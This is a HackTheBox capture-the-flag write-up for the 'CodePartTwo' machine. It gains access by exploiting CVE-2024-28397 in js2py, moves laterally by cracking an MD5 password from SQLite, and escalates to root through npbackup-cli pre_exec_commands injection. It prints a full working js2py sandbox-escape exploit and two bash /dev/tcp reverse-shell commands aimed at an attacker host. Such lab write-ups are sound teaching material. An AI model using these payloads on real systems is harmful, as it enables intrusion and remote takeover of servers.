CodePartTwo Writeup - HackTheBox
Last updated May 10, 2026 • 3 min read
Discovery
Port Scan
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 8000/tcp open http Gunicorn 20.0.4 |_http-title: Welcome to CodePartTwo
Two ports. SSH and a Python web app on 8000. Browse to http://$TARGET_IP:8000 — it's a JavaScript code editor with register/login functionality. The landing page advertises the app as open-source and offers a direct download link.
Source Code Review
The /download route serves app.zip without authentication:
requirements.txt immediately stands out:
flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74
js2py==0.74 is vulnerable to CVE-2024-28397, a sandbox escape allowing arbitrary Python code execution. The relevant route in app.py:
@app.route('/run_code', methods=['POST'])
def run_code():
try:
code = request.json.get('code')
result = js2py.eval_js(code)
return jsonify({'result': result})
except Exception as e:
return jsonify({'error': str(e)})
User-supplied JavaScript is passed directly to js2py.eval_js(). Execution is confirmed with a quick test:
{"result": 2}
The endpoint is reachable without authentication. The attack surface is clear.
Initial Access
CVE-2024-28397 — js2py Sandbox Escape RCE
CVE-2024-28397 abuses js2py's JavaScript-to-Python bridge. By walking Python's class hierarchy from within JavaScript, it's possible to reach subprocess.Popen and execute arbitrary OS commands despite js2py.disable_pyimport() being set.
The exploit payload traverses __class__.__base__.__subclasses__() until it finds subprocess.Popen, then calls it directly with a reverse shell command.
Save the following as exploit.js:
let cmd = "bash -c '/bin/bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for (let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if (item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if (item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
return n11
}
Start a listener:
Send the payload:
Shell lands as the app service user. Stabilise it:
Lateral Movement
SQLite Credential Extraction
The app uses SQLite at instance/users.db relative to the application root. The database contains a user table with MD5-hashed passwords. Inspecting it reveals one account:
username | password_hash |
|---|---|
marco |
|
MD5 is unsalted. Crack it with hashcat:
$MARCO_HASH:$MARCO_PASSWORD Session..........: hashcat Status...........: Cracked Hash.Mode........: 0 (MD5) Time.Started.....: Fri Jan 9 07:05:12 2026 (0 secs)
SSH as marco
Password is $MARCO_PASSWORD. It works — the hash cracked to a plaintext password that marco reused on his system account.
Privilege Escalation
npbackup-cli pre_exec_commands Injection
Check sudo rights:
User marco may run the following commands on codeparttwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
Marco can run npbackup-cli as root without a password. A backup config file npbackup.conf is present in the home directory. npbackup-cli supports a pre_exec_commands directive that runs shell commands before the backup job starts — as whatever user invokes it.
Copy the config and inject a reverse shell into pre_exec_commands:
Edit malicious.conf — find pre_exec_commands under the default_group section and change it to:
pre_exec_commands:
- /bin/bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'
Start a listener:
Trigger the backup with the malicious config:
root@codeparttwo:/home/marco#
Root shell.
References
-
PoC and technical breakdown of CVE-2024-28397
-
NVD, CVE-2024-28397 js2py sandbox escape